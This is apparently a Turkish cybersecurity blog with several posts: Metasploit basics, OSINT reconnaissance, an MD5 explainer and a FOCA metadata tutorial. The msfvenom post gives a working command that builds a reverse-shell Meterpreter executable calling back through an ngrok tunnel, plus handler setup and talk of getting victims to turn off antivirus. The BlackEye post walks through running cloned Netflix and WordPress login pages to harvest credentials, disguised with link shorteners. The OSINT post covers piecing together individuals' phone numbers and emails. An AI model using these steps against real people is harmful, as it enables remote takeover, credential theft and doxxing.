Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit’e Giriş ve Temel Kavramlar

Metasploit, içinde binden fazla exploit bulunan popüler bir pentest aracıdır. Onu bu kadar popüler yapan şey, içindeki exploitlerin, yalnızca belirli parametreler girilerek kullanıma hazır hale gelmesi.  Exploit, metasploit için kodlanmışsa bu exploit metasploit ile kullanılabilir ve geliştirilebilir. Ancak esas mesele saldırı değil. Bilgi toplama ve farklı alanlarda da metasploit işimize çok yarayabiliyor. Bunu da detaylıca yazacağız. İyisi mi, biz exploit nedir, metasploitin işimize yaradığı diğer alanlar neler ve nasıl kullanacağız sırası ile gidelim. 

Exploit Nedir?

Exploit kelime anlamı olarak sömürmek anlamına gelir. Siber güvenlik dünyasında da karşılığı bu zaten. Mevcut bir zafiyeti kullanmak, sistemi bu zafiyet sayesinde ele geçirmek için yazılan kod parçacıklarına exploit diyoruz. C, python, perl, ruby gibi dillerle yazılmış olabilir. Exploit-DB üzerinden birçok exploite ulaşmak mümkün. Elbette farklı kaynaklar da var. Bazı kaynaklarda ücretli exploitler de bulunmakta(Bknz. 0-Day Today). Peki biz hangisini kullanacağımızı nereden bileceğiz? Girmek istediğimiz sistemde çalışan servisleri ve onların versiyonlarını tespit ettikten sonra ona uygun exploit araştıracağız. Bunu Detaylı NMAP Kullanımı yazımda anlatmıştım isterseniz onu da şöyle bir okuyun. Exploitlerin de kendi içinde gruplandığını söylemek mümkün.

Remote Exploits: Remote, kelime anlamı olarak uzak demektir. Haliyle ne işe yaradığı aslında ortada. Uzak sistemlere yapılacak olan saldırılarda kullandığımız exploitlerin toplandığı başlıktır.

Local Exploits: Local kelimesi ise yerel anlamına gelir. Yani direk sistemin kendisinde çalışacak olan exploitlerdir. Bunu genelde, sisteme girdikten sonra hak yükseltmek, root olmak amacıyla kullanırız.

Zero Day Exploits: En eğlenceli exploitler. Eğer exploit kavramını duydunuzsa muhtemelen arkasından bu kavramı da duymuşsunuzdur. Bunlar henüz keşfedilmemiş, sistemde zafiyet bulunduğu anda o zafiyeti sömürmek maksadıyla yazılmış exploitlerdir. Haliyle ne sistem sahibi ne de söz konusu bir servis durumun farkındadır. Açık ortamda paylaşılması halinde hızlı biçimde yayılacaktır.

Exploit meselesi tamam. Teorik taraf yeni başladığınızı varsayarsak sizin işinize yarayacaktır. Ancak birkaç kavramdan daha bahsetmek gerek. Onları da aşağıda listeleyeyim.

Payload: Payloadlar, metasploit içinde bulunur. Kullanmak istediğiniz exploiti seçtikten sonra exploite uygun bir payload seçmeniz gerekmekte. Exploit çalıştıktan sonra devreye payload girecek. Tamam da ben exploitimi belirledikten sonra ona uygun payloadları nereden bilebilirim ki? Şu şekilde:

msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
...

Listelenecek olan payloadlar, elinizdeki exploitlere uygun olacaktır. Amacınıza göre tercihiniz değişecektir. Peki seçimi nasıl yapacağım?

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

Payload meselesi de şimdilik tamam. Ancak pratik bir meseleden bahsetmediğimizin farkındayım. Tüm bunların uygulamalarını da anlatacağız daha sonra. Önce bu kavramları bir anlatalım.

Auxiliary Nedir?

Auxiliary bilgi toplama aşamasında işimize yarar. Metasploitte bir servis arattığınızda muhtemelen auxiliary seçeneklerine denk gelirsiniz. Bilgi toplama derken neden bahsediyoruz? Bunu da birçok başlıkta incelemek gerekiyor. Auxiliary çeşitleri aşağıda mevcut. Biz birkaçını inceleyeceğiz. 

admin dos server
analyze fuzzers sniffer
bnat gather spoof
client parser sqli
crawler pdf voip
docx scanner vsploit

Scanner: Port tarama, zafiyeti sömürmeden önce bulunup bulunmadığını test etme, keşif gibi noktalarda tercih edilir.

Admin: Genellikle admin bilgilerini bilmediğiniz sistemlere, admin yetkisi ile giriş yapmanızı sağlarlar. Ancak versiyon bilgilerini öğrenmek gibi farklı amaçları da olabilir.

Fuzzers: Sisteme rastgele sorgular göndererek farklı cevaplar alınır. Sistemin çökmesi halinde de tepkilerini izler. Çok sık kullanılmayan auxiliary çeşitlerindendir. 

Dos: Adından da anlaşılacağı üzere Denial of Services saldırıları için kullanılır.

Gather: Metasploit üzerinde bulunan dedektif auxiliarylerimiz… Kendileri e-mail, kullanıcı adı ve dbs gibi bilgileri toplar.

Brute force: Yine anlaşılacağı üzere kaba kuvvet saldırılarında kullanılır. Yetkili girişini deneme yanılma yolu ile tespit etmeyi amaçlar.

Genel Exploit Kullanımı

Peki tüm bunlar tamam. Örnek bir kullanım da gösterelim yazımız öyle bitsin. Öncelikle uygun exploiti seçmek için servis adı ile (veya neye ihtiyacınız varsa) arama yapıyorum. Bunun için search komutunu kullanacağız.

Openssh’a yönelik exploitler listelendi. İsimleri, eklendiği tarih ve açıklamaları gibi bilgiler listeleniyor. Burada seçerken açıklamaya bakıp bizim karşımızdaki sisteme uygun olup olmadığını, tarihe bakıp güncel olup olmadığını veya rank kısmına bakıp ne kadar başarılı olduğunu tahmin etmek mümkün. Tercihleri de hiç bilmiyorsanız buna göre yapabilirsiniz. Ancak ilerledikçe sistemlerde hangi exploitin çalışacağını az çok tahmin eder duruma geleceksiniz bunlara gerek duymadan.

Daha sonra hangi exploiti kullanacağımızı use komutu ile seçiyoruz.

Exploiti seçtiğimiz anda soldaki kırmızı alan değişecek veya yoktan oluşacak. O kısım, içinde bulunduğunuz exploiti gösteriyor. Exploiti de seçtik. Şimdi ayarlarına göz atalım. Çalıştırmak için hangi bilgilere ihtiyacı varmış bir bakalım. Bu bilgileri biz girdikçe arka planda exploit koduna ekleyerek çalıştıracak. Bunun için de options komutunu kullanıyoruz. Seçtiğiniz exploit hangi sistemlerde çalışıyor, hedeflerinde neler var görmek isterseniz show targets komutunu kullanabilirsiniz.

Seçtiğimiz exploitin ayarlamalarını yapmak istediğimizde bu tablo bizi karşılayacak. Değerlerin isimleri, gerekli olup olmadıkları ve açıklamaları mevcut. Required kısmında yes yazan tüm değerleri doldurmak zorundasınız. Ancak no yazanlar boş kalabilir. Peki öyleyse neden gereksiz bilgi giriyoruz? Asında gereksiz denemez. Sistemde çalışma şansını arttıran değerler bunlar. Onun için ne kadar değer girerseniz şansınız o kadar artar. Ben RHOSTS kısmını değiştireceğim ancak öncesinde bir detay daha vereyim. Auxiliarylerde genelde RHOSTS yazar. Yani birden fazla hedef girebilirsiniz. Ancak exploit seçimi yaptığınızda,genelde direkt hedef odaklı tercih yapmanız gerekir. Birden fazla seçemezsiniz. Ben set RHOSTS komutu ile hedef adresi de giriyorum.

Bundan sonrasında tüm değerler doğru ise exploit veya run komutu ile auxiliarymi çalıştırabilirim. Başka bir alternatif olarak ise check komutu ile exploit sisteme zarar vermeden çalışıp çalışmadığını test edebilirim. Sonrasında söz konusu auxiliary, işlevini yerine getirecektir. Örnek, komutları göstermeye yönelik olduğu için sonucunu göstermedim. Esas amaç temel kullanımı göstermekti. İleride bolca örnek yapacağız. 

Kategoriler
Siber Güvenlik

Bilgi Toplama Teknikleri

GİRİŞ

Siber güvenliğe merak salan hızlı arkadaşların en büyük hataları, nereyi nasıl hacklerim onu öğreneyim mantığı ile olaya girmeleridir. Ancak sistemi bilmeden, keşif yapmadan sistemin zayıf karnı neresi bilemezsiniz. Öncesinde esaslı bir bilgi toplama evresi geçirmek gerekir. Biz bu bilgi toplama evresini ikiye bölüyoruz: pasif keşif evresi ve aktif keşif evresi. Pasif keşif, sistemi dolaylı yollarla keşfettiğimiz ve karşı tarafla bire bir temasa geçmediğimiz evredir. Aktif keşfe göre daha güvenli sularda yüzeriz. Fark edilme olasılığı pek de yok. Örnek vermek gerekirse bir şirkete dair linkedin üzerinden çalışanlarının isimlerini topluyorsam bu durumdan çalışanların veya şirketin haberi olmayacaktır. Aktif keşifte ise şirket ile bire bir temasa geçeriz. Örneğin bir nmap taraması atarak domainlerinde hangi servislerin çalışmalarına bakmak için istek gönderdiğimde artık benim ip adresim karşı tarafa ulaşmıştır. Web sitesine girip içeriği incelemişsem dahi artık aktif keşifteyiz demektir. Çünkü doğrudan temasa geçtim. 
Daha basite indirgeyelim. Birinden hoşlanıyorsunuz. Hoşlandığınız kişinin en yakın arkadaşına “Nelerden hoşlanır?” diye sorduğunuzda, hoşlandığınız kişi ile doğrudan iletişime geçmeden ve muhtemelen onun haberi olmadan bilgi toplamış olacaksınız. İşte pasif keşif evresi… Peki biraz daha cesursunuz ve hoşlandığınız kişiye “Nelerden hoşlanırsın?” diye sordunuz. Bu durumda onunla doğrudan temas kurdunuz ve artık o da sizden haberdar. Bu da aktif keşif oluyor. Bence yeterli bir örnek oldu. 

Yöntemlerin tamamını saymamız pek mümkün değil fakat biz olabildiğince kapsamlı yazmaya çalışalım.

Whois

Whois kayıtları bir domain adresini kimin, ne zaman aldığını, hangi sunucularda barındırdığını ve ip adresini verir. Aynı zamanda domain sahibinin adresi ve telefon numarasına da ulaşmak mümkün. who.is veya farklı adreslerden sorgu yapabilirsiniz. Aynı zamanda birçok linux dağıtımında “whois domainadi.com” komutu ile terminal üzerinden sorgu yapmak mümkün.


Ripe & Arin

Ripe & Arin ise IP adresini elde ettiğiniz domainin, IP aralıklarını elde etmenizi sağlar. IP adresi ile sorgu yapabilirsiniz.

Netcraft

Web sitesinin daha önce kullandığı IP adreslerini, daha önce kullandığı işletim sistemi ve versiyonlarını, web sunucu servislerini listeler. Yine basit bir whois sorgusu yaptığını da söyleyebiliriz. Sorgu için : toolbar.netcraft.com/site_report

Shodan

Shodan’ın çoğu yerde lanse edilme biçimi “Hackerların arama motoru!” şeklinde. Kısmen haklı olunduğunu söyleyebiliriz. Sıradan bir kullanıcı burada pek de arama yapmaz. API’lerini şimdilik bir tarafa bırakıyorum ve arama kısmını anlatıyorum. Bir web sitesini veya IP adresini aratmanız mümkün. İnternete çıkan ne varsa bir şeyler bulacaksınız.

Ücretsiz olarak birçok özellikten faydalanabilirsiniz. Ancak siz biraz daha kafa yormak istiyorsanız ücretli üyelik almanız gerek. Üniversite öğrencileri “edu” maillerle kayıt olduğunda ve başvurduğunda ücretsiz üyelik veriyorlar diye biliyorum. Aynı zamanda “black friday” döneminde de uygun fiyata üyelik alabilirsiniz. Hızlı biçimde arama parametrelerini vereyim. Bu parametreleri bir arada kullanarak veya değiştirerek aramalarınızı daha spesifik bir hale getirebilirsiniz.

  • port:23 (23 portu açık olanları aramak için)
  • port: 21-25 and 80 (21’den 25’e kadar portu açık olanları aramak için… Ek olarak 80 portu açık olanlara da bakacak.)
  • “apache 2.2.3” “200 OK” (Apache 2.2.3 versiyonu olan sistemleri ve sorunsuz açılan sayfaları listeler.)
  • hostname: selcuk.edu.tr (Domain üzerinden arama yapmak için)
  • IP: 193.140.140.10 (IP adresi üzerinden arama yapmak için)
  • country:TR (Ülke aramaları için)
  • city:Konya (Şehir aramaları için)
  • geo:<Koordinat> (Koordinat üzerinden aramalar için)
  • os:”windows xp” (İşletim sistemi üzerinden aramalar yapmak için)
  • isp:amazon (İnternet servis sağlayıcıları üzerinden arama yapmak için)
  • org:”univercity” (Organizasyon ismi ile arama yapmak için)

Veri Sızıntıları

Saldırganlar, hackledikleri platformların datalarını genelde pastebin ve benzeri sitelerden yayınlarlar. Bu yayınlanan datalar üzerinde arama yapmak da bizim için bulunmaz bir nimet. Öyle ki bazen hiçbir saldırı gerçekleştirmeden kritik bir sisteme girebilirsiniz. Üstelik bunu sadece sizden önce yapan birisi sayesinde yaparsınız. Deep web üzerinden de alternatif kaynaklar bulmak mümkün. Ben bonus olarak birkaç kaynak buraya bırakayım.

  • ghostproject.fr
  • haveibeenpwneed.com
  • Wikileaks
  • cryptome.org

Archive.org

Archive.org ise sitelerin yayın hayatında sık sık yansımalarını kaydeder. 20-30 sene önceki kayıtları dahi elde edebilirsiniz. Çok ciddi oranlarda veri depolayan archive.org sunucularının bir kilisede saklandığı, sebebinin ise bir savaş esnasında dahi oraya zarar verilmeyeceğinin düşünülmesi olduğu söyleniyor. Ben söyleyenlerin yalancısıyım 🙂 Bu site ile daha önceden kurulan sistemleri görüntüleyebilir ve belki de o dosyaların kalıntılarını tespit edebilirsiniz. Sızdırılan fakat kaldırılan dosyaları temin edebilirsiniz. En basit örnekle bir kişinin telefon numarasını, kişisel blogunun geçmiş kayıtlarında arayarak bulmuştum. Örnek bir kayıt göstereyim.

Google Groups

Google groups çok da akla gelmeyen bir kaynak. Ancak birçok kuruluş, çalışanları arasında haberleşmek için burayı kullanır. Çoğu mailleşme açıktan yapılır ancak kimse farkında olmaz. E haliyle gizli sanılan en kritik veriler de aslında herkese açık biçimde yayınlanır. Bununla ilgili örnek vermeyeceğim. Sizin hayal gücünüze kalsın. Adres: https://groups.google.com/

Sosyal Medya & İş İlanları

İş ilanları bir kurumun en çok ihtiyaç duyduğu fakat bir yandan da içerideki sistemleri hakkında bize bilgi veren duyurularıdır. Bir yazılım şirketi hangi alanda ne derece uzman arıyorsa, projelerinde o yazılım dilini kullandığını ve çalışmalarımı ona göre yapacağımı varsayabilirim. Veya duyurunun sıklığına göre o alandaki ihtiyacını ve ağırlığını tahmin edebilirim.  Kariyer.net ve Linkedin bu konuda oldukça verimli platformlar.

Sosyal medya üzerinden bilgi toplamaya gelirsek… Gönderilerin hangi cihazla gönderildiği ve hangi konumdan atıldığı öğrenilebilir. Kişinin ilgi alanları, ne zaman ne yaptığı ve nerede olduğu gibi detaylara da kolayca ulaşılır. Yapılabilecek çok uç analizler var fakat bunlar genelde olaya özgü olacağından size bırakmam gerek. Ama sosyal medya en güzel kaynaklardan biri. Bir diğer mesele ise, kişinin telefon numarası ve mail adresi gibi bilgileri de tespit edebilmemiz. Parolamı unuttum kısmında bu bilgiler sansürlü biçimde verilir. Kişinin ismi veya kullanıcı adı ile mail adresini tahmin edebilmeniz mümkün. Telefon numarasının ise bir kısmı verilir. Ancak kişinin farklı sosyal medya hesaplarında veya mail servislerinde de aynısını deneyerek telefonun kalan kısımlarını öğrenmek mümkün.

Diğer yandan pipl.com adresinde kişinin ismi ile veya farklı varyasyonlar ile arama yaparak diğer hesaplarına ulaşmak mümkün. Diğer yandan https://en.gravatar.com/site/check/ adresinden mail adresi ile aratarak kişinin fotoğrafını da bulabilirsiniz. Şayet gravatar üyeliği varsa tabii…

Domain ve Mail tespiti

Aquatone aracı ile subdomainleri test edebilirsiniz. Arama motoru, kendine ait sözlüğü, shodan ve virustotal API’leri gibi kaynakları ile verdiğiniz domaine ait bulabildiği tüm subdomainleri listeler. Farklı özelliklere de sahip fakat bunu ayrı bir yazıda anlatabiliriz. Amacımızdan sapmayalım bu yazıda.

aquatone-discovery -d selcuk.edu.tr

Maillerin tespit edilmesinde ise en bilindik araç theharvester olsa gerek. Detaylı kullanımı için ayrı bir yazı hazırlamak gerek fakat şimdilik ihtiyacımız olan kadarını anlatacağım. Theharvester arama motorlarındaki sonuçları göz önünde bulundurarak verdiğiniz domaine ait mail adreslerini ve subdomainleri toplamaya çalışır. Aşağıdaki komutta -d ile domain adresini, -b komutu ile kaynaklardan hangilerini kullanmak istediğimizi belirttik.

theharvester -d selcuk.edu.tr -b all

Fierce ise ip aralıklarını ve şayet bir hostnamei varsa onları keşfetmemizi sağlar. Detaylı kullanımını yine bu yazıda anlatmayacağım. Örnek bir ekran çıktısı:

Kullanıcı Adı

Kullanıcı adının nerelerde kullanıldığı da güzel bir bulgu. Namechk adresinden araştırdığınız kullanıcı adının kullanıldığı sosyal medya hesapları, domain adresleri ve birçok platform üyeliğini tespit edebilirsiniz. Bunun için alternatif web siteleri de mevcut. Aslında arama motorlarından dahi bolca bilgi elde edebilirsiniz.

Haritalar

Bir kurumun adresi üzerinden de birçok bilgi elde etmek mümkün. En basit örnek olarak “Google Maps Street View” ile binanın etrafını gezinebilirsiniz. Hiç beklemediğiniz şeyler bulmak mümkün. Ancak yalnızca Google’a bağlı kalmak olmaz. Drone, araç kamerası ve güvenlik kameraları ile çekilen görüntüleri de elde edebileceğiniz bir kaynak listesini aşağıya bırakıyorum.

Mevcut konumdan atılan sosyal medya gönderileri de oldukça kritik olabiliyor. Özellikle kalabalık çalışan nüfusuna sahip bir kurumdan bahsediyorsak, mutlaka çalışanlar kritik veriler sızdırmıştır.

Son Olarak…

Yazıya eklemediğim, ancak blogumda zaten yazdığım diğer bilgi toplama konuları:

Tüm bunların dışında güzel bir OSINT kaynak listesi olarak şu adresleri verebilirim:

Kategoriler
Linux Metasploit Siber Güvenlik

Msfvenom ile Uzaktaki Windows Makineye Saldırı

Metasploit serisine bu sefer uygulamalı bir yazı ile devam edeceğiz. Windows sistem kurulmuş makinelere metasploit ile rat hazırlayacağız ve karşı taraftan bağlantı almayı deneyeceğiz. Ancak farklı olarak ngrok kullanarak farklı ağdan internete çıkan makineler üzerinde de test edeceğiz.

Ngrok kullanımından daha önce Tembeller için Phishing: Blackeye yazımda anlatmıştım. Oraya bir göz atmanız yeterli. Bu yazıda mantığını es geçip uygulamasını göstereceğim.

./ngrok tcp 1212 komutu ile ngrok uygulamasında tcp tipinde 1212 portunu açıyoruz. Port numarası sizin keyfinize kalmış. Daha sonra bize verdiği beş haneli port numarasını(değişebilir) ve linki bir kenara alalım. Ngrok çalışmaya devam etsin. Msfvenom’a geçelim.

Şimdi msfvenom ile ratı oluşturalım.

msfvenom windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11841 -f exe R > rat.exe

Ezbere gitmeyelim. Ne yaptık anlatalım. Msfvenom aracı ile windows sistemlerde reverse tcp bağlantı yapacak bir dosya hazırladık.  LHOST ile local adresimizi ngrok aracının verdiği bağlantıyı girdik. LPORT ile port adresimizi de ngrok sisteminin verdiği porta verdik. -f exe kısmında da exe dosyası tercih ettiğimizi belirttik. R > rat.exe ile istediğimiz rat dosyasını bulunduğumuz dizine rat.exe isminde oluşturduk.

Reverse tcp bağlantı nedir? Klasik mantıkta siz bir rat oluşturduğunuzda karşı makinede bir port açıp onun üstünden karşı makineye bağlanırsınız. Oluşturduğunuz rat karşı tarafta bir port açardı. Buna bind shell diyoruz. Reverse shell, buradaki adı ile reverse tcp bağlantı ise saldırgan tarafta port açılması, karşı makinenin o porta bağlanarak veri aktarması mantığına dayanır.

Rat dosyasını oluşturduk Karşı tarafa atmadan önce oluşturduğumuz ratı dinlemeye alalım. “msfconsole” komutu ile metasploiti çalıştıralım. Daha sonra use exploit/multi/handler diyelim. Daha sonrasında ise aşağıdaki bilgileri girmemiz yeterli.

set LHOST 127.0.0.1

set LPORT 1212

run

Karşı taraf dosyayı açtığında bağlantı gelecek ve sistemde yetkinize bağlı olarak işlem yapabileceksiniz. Diğer sıkıntı ise anti virüs uygulamaları anında fark edecektir. Windows defender da buna dahil. Karşı tarafa anti virüs uygulamalarını eliyle kapattırmak gerekiyor. Biz antilerden nasıl kaçarız, kalıcılığı nasıl sağlarız, yetki yükseltme işlemini nasıl yaparız ayrı ayrı anlatacağız.

Kategoriler
Linux Siber Güvenlik

Tembeller için Phishing: BlackEye

Daha öncesinde twitter hesabımdan Blackeye isimli aracı göstermiştim ve oldukça kolay olduğundan bahsetmiştim. Siz listeden seçili olan bir scripti seçiyorsunuz ve bir link veriyorsunuz. Daha sonra karşı tarafa linki gönderiyorsunuz. Giriş yaptığında bilgiler karşınıza geliyor. Script hazırlayayım kurulum yapayım derdi yok. Yalnızca bir sayıya basıyorsunuz. Kolay fakat bir kahve arası yazı hazırlamaya değer.

https://github.com/thelinuxchoice/blackeye  adresine gidip aracı indirin. Zip’ten çıkartıp bir kenara atın. Sonra blackeye dizinine geçip aracı çalıştırın.

git clone https://github.com/thelinuxchoice/blackeye
cd blackeye
bash blackeye.sh

Daha sonra karşınıza çıkan ekrandan istediğiniz scripti seçin. Kimisi eski temada kalmış olabilir ancak klasördeki dosyaları biraz düzenleyerek devam edebilirsiniz. Sonrasında sizden karşı tarafa göndereceğiniz linki istiyor. Elbette kafanıza göre domain veremezsiniz. Yerel ağda kullanmak istiyorsanız localdeki ip adresinizi girmeniz yeterli. Daha sonra ağdaki başka bir makinede taraayıcıya girip ip adresinizi yazmanız yeterli. Karşı taraf giriş yaptığı zaman bilgiler sizin terminalinize düşmüş olacaktır. Aşağıda giriş yaptığımız bir örnek mevcut. Adres kısmına bakarsanız localdeki ip adresim mevcut. Ben Sign In dedikten sonra Netflix’in orijinal sayfasına yeniden yönlendirecek.

Arkada neler oldu? Ben 8 numaralı scripti seçtim. Netflix’e aitti. Sonrasında bağlanan kurbanın ip adresini verdi. Kendi makinemde denediğim için yine Victim IP: 172.16.101.1 yazdı. Hangi tarayıcı, hangi işletim sisteminden bağlanıyorsam topladı ve netflix/saved.ip.txt adresine logladı. Daha sonra benim giriş yapmamı bekledi. Ve Account kısmında kullanıcı adımı, Password kısmında ise parolamı verdi. Bunu da sites/netflix/saved.usernames.txt adresine logladı. İşte hepsi bu kadar… değil. Az daha işimiz var 🙂

Peki ama farklı ağda ise nasıl halledeceğiz? Aracın güzelliği de burada aslında. Ngrok ile beraber çalışıyor. Size direk olarak bir ngrok linki veriyor ve onu internete bağlı bir makinede çalıştırmanız yeterli oluyor. Ancak benim kullandığım versiyonda ngroku manuel çalıştırıp linki vermem gerekiyor. E yapalım madem. Ama öncesinde ngrok ne ondan bahsedelim. Kabaca, sizin localde çalıştırdığınız bir sistemi herkesin bağlanabileceği bir tünele bağlıyor. Bu şekilde istediğiniz birisi ile dosya paylaşımı da yapmanız mümkün. Bir web sitesi yaptınız. Localde hazırlıyorsunuz ancak gelişmeleri müşteri anlık takip etsin istiyorsunuz. FTP ile mi uğraşacağım canım diyorsunuz. Ngrok sayesinde direk link vermeniz mümkün. Ücretsiz versiyonda ngrok her açılışta yeni link verir. Ancak ücretli versiyonda size tanımlanan linkler sabittir ve tekrar tekrar kullanabilirsiniz. Konumuza dönelim. Önce ngroku sisteme kuralım.

https://ngrok.com/ adresine önce kayıt olmanızda fayda var. Daha sonrasında indirip bir dizine çıkartın. Arkasından size sitede verilen bir token var. Onu girmeniz gerek. Aşağıda ikisini de gösterdik.

unzip /path/to/ngrok.zip

./ngrok authtoken [TOKEN-NO]

Şimdi ngroku çalıştırabiliriz. ./ngrok help diyerek kullanabileceğiniz parametreleri görebilirsiniz. Devam edelim. ./ngrok http 80 yazalım ve tüneli oluşturalım. Http versiyonlu 80 portunda çalışan bir tünel bu. Siz tcp ile metasploitte rat da yaparsınız ki onu sonra anlatacağım zaten.

Yukarıdaki ekran geldiyse sorun yok demektir. Şimdi tekrar blackeye aracına dönün ve önceki yaptığımız adımları aynen yapın. Ancak bu sefer local ip adresiniz yerine localhost yazın. Ne alaka mı? Siz localhostunuzu ngrok ile internete açtınız. Daha sonra http://59423c12.ngrok.io adresine tıklandığında script karşımıza çıkacak. Hangi ağda olduğu önemli değil. İnternete çıksın o bize yeter. Ngrok linki artık bütün internete açık ve wordpress panel scripti çalıştırdım. Giriş bilgileri aynen blackeye üzerinde görünecek ve loglanacaktır. Bunu reklamsız ve göze batmayan link kısaltma siteleri ile karşı tarafa göndermek mümkün. İstediğiniz bir domainde çalıştırmanın yolu var mı bilmiyorum. Sizlerden bunu çözen olursa yorumlara bir mesaj bırakırsa çok sevinirim.

Kategoriler
Siber Güvenlik

Bu MD5 Kırılan Bir Şey Mi?

Çok klasik bir yanlış anlaşılma söz konusu. Bu MD5’i kırıp şifreyi nasıl bulurum? Birkaç kelimelik soruda o kadar çok mantık hatası var ki üstüne yazı yazsak yeridir. Ben de tam olarak bunu yapıyorum. Ancak bu MD5 veya şifrelemeye dair yeterli bir yazı değil. Bana defalarca sorulan bu soruya uzun uzun açıklama yazdığımı fark ettim. En son bloga girip, tekrar sorulduğunda bu linki vermeyi daha mantıklı buldum.

Öncelikle şifre, parola ve şifrelemenin ayrımını iyi yapmamız gerekiyor. Siz mail hesabı oluşturmak istiyorsunuz diyelim. Mail adresinize herkesin erişememesi için yazdığınız gizli bilgi paroladır. Bakın şifre demedim. Diyelim ki 123456789 sizin parolanız.(Umarım parolanız bu değildir.) Siz bunu sisteme girdiğinizde bu bilgi şifrelenerek sisteme kaydolur. Belli bir matematiksel algoritmaya göre şifrelenerek oluşturulan bu anlamsız karakterler dizisi veritabanında size ayrılan köşede parola alanının karşısına yazılır. Bu sayede o veritabanına ulaşan yabancı birisi olursa elinde parolanın kendisi değil anlamsız bir dizi olacaktır. İşte o oluşan diziye biz şifre diyoruz. Bir Çin atasözü der ki(!) : “Senin bildiğin parola, sistemin bildiği şifredir.”

Peki biz neyi kırıyoruz kardeşim? Şifreyi, şifreleme tipinin matematiği neyse ona uygun şekilde geri çeviriyoruz ve nihayetinde parolaya ulaşıyoruz. E tamam, MD5 decode eden siteler de var? Ben o MD5’i alıp ekliyorum bana bazen kırıp(!) veriyor parolayı. Hayır efendim bir şeyi kırmıyor. En azından sizin anladığınız şekilde kırmıyor. MD5 hash değerini eklediğiniz site kendi veritabanı ile kıyaslıyor. Eğer veritabanında bu hash değerinin karşılığındaki anlamlı parolayı bulursa size sunuyor. Bu veritabanı nasıl oluşuyor? MD5 encode/decode siteleri, kendi sisteminde encode edilen bütün metinleri saklıyor. O yüzden kullandığınız önemli parolalarınızı “Ay şu sitede bi encode edeyim bakalım ne çıkacak?” diyerek denemeyin.

MD5 hash değeri geri çevrilemeyecek biçimde tasarlanmıştır. Haliyle teknik bir yolla geri getirmek pek mümkün değil. En azından bilinen bir yolu yok. Siz istediğiniz metni girin. İstediğiniz şeyi MD5 ile encode edin. Ortaya çıkan hash değeri, 32 karakterli olacaktır. Bir iso dosyasının MD5 değeri de, tek kelimelik bir metnin değeri de 32 karakterli olacaktır. Diğer yandan siz bir metine ufacık bir ekleme yapıp tekrar encode ettiğinizde ortaya çıkan MD5 değerleri bambaşka olacaktır.

MD5("Oku baban gibi eşek olma") = d59157e96d2e15e4768a89ffa27e1f4b
MD5("Oku, baban gibi eşek olma") = 63d97ea38b179146594ed325eeb6c8e6

Peki bunu nerede kullanırız? Siz bir dosya indirdiniz. İndirdiğiniz yerde md5 değeri verilir. Diyelim ki bu dosyayı indirdiniz ancak çalışmadı. O durumda indirirken bir bozulma yaşanmış olabilir mi? Elbette olabilir. İşte bu durumda indirdiğiniz dosyanın md5 değerine bakıp, indirdiğiniz yerde verilen değerle kıyaslarsınız. Eğer dosya inerken ufacık bir bozulma dahi yaşanmış ise MD5 değeri bambaşka bir şey çıkacaktır.

Biraz daha kafa karıştıralım mı? Bazen iki farklı şeyi MD5’e göre encode ettiğinizde, MD5 değeri aynı olabilir. Sonuçta 32 karakterli bir değer karşımıza çıkacak ve her şeye yetecek kadar değer yok değil mi?

Kategoriler
Siber Güvenlik

Bir OSINT Aracı: FOCA

FOCA, hedef web sitede yer alan belgeleri toplayarak metadata analizi yapar. Office dosyaları ve birçok dosya türünü arama motorları aracılığı ile bulur, indirir ve analiz eder. Google, bing ve duckduckgo arama motorlarını kullanır. Güzel bir açık kaynak istihbarat aracı. Dosyaların oluşturulduğu tarihleri, oluşturan kullanıcıları, işletim sistemini, mail adreslerini, yazıcıları ve parolaları(henüz parolaya denk gelmedim) elde etmeniz mümkün. C# ile yazılmış. Haliyle yalnızca Windows’ta çalışıyor. Şuradan indirebilirsiniz : https://github.com/ElevenPaths/FOCA

FOCA’yı verdiğim linkten indirip kurulumunu hallettikten sonra üst menüden Project kısmını seçiyoruz. Domain website kısmına bilgi toplamak istediğimiz adresi yazıyoruz. Genelde kurumsal adreslerde daha başarılı olursunuz. Create diyoruz ve artık proje sayfamız hazır. Yalnız ufak bir not düşeyim. Ben www.selcuk.edu.tr yazdım. Taramamın uzun sürmesini istemedim. Ancak selcuk.edu.tr yazsaydım farklı altdomainleri de tarayacaktı. Elbette farklı araçlar var ancak bu şekilde bazı alt domainleri de elde edebilirsiniz. Ufak bir not düşmüş olalım.

Proje sayfamız karşımızda. Kullanımı oldukça kolay. Search engines kısmından arama motorlarını, Extesions kısmından istediğiniz dosya uzantılarını seçebilirsiniz.En sonunda search all butonuna basıyoruz ve arama motorlarından bulduğu tüm dosyaları bize sıralıyor. Daha sonra dosyalara sağ tıklayarak download all diyoruz. Tüm dosyalar iniyor. Bu elbette biraz zaman alacak.

Sol taraf da oldukça önemli bizim için. network kısmında sunucu, domains kısmında adresler sıralanıyor. Esas olayımız metadata kısmında.İnen dosyalara sağ tıklayarak extract metadata diyoruz ve tüm dosyalardaki metadata bilgilerini toplamasını sağlıyoruz. Sonra yine sağ tıklayarak analyze metadata seçeneğini seçiyoruz. Toplanan verileri bir araya getirerek bir istatistik oluşturuyor. Hangi kullanıcıdan kaç tane var, hangi mailler var görebiliyorsunuz. (Yaptığımız şey herkese açık dosyaları analiz etmek. Ancak yine de kişisel mailleri kapatmaya özen gösterdim.) Diğer yandan maillerin formatına bakarak bir isim soyisme ait mailin nasıl oluşacağını da tahmin etmek mümkün genel anlamda. Ancak bu her durumda geçerli de denemez.

Son olarak gelelim bu aracın eklentilerine. Üst tarafta bulunan alışveriş arabası ikonuna tıklayarak eklentilere gidebilirsiniz. Peki ne işe yarıyorlar?

  • Information Gathering : DNS, whois gibi siteye ait bilgileri temin eder.
  • Git Finder : Sitedeki gizli git dosyalarını bulmak için bazı eklemeler yapar.
  • SVN Finder :  Sitedeki gizli SVN dosyalarını bulmak için bazı özellikler ekler.
  • Certificate Transparency Checker : Sitede Sertifika Transparency SCT doğrulaması ekler.
  • SQLi : SQLMap API kullanarak SQL enjeksiyon güvenlik açıklarını tespit eder.
  • Have I Been Pwned : Dosyalardan elde edilen mailleri haveIbeenpwned.com ve hesidohackeado.es adresinde sorgulatarak daha önce hacklenen maillerin parolalarını size getirir.
  • PluginAPI.dll : Tüm eklentileri tek seferde indirir.

Kategoriler
Linux Metasploit Siber Güvenlik

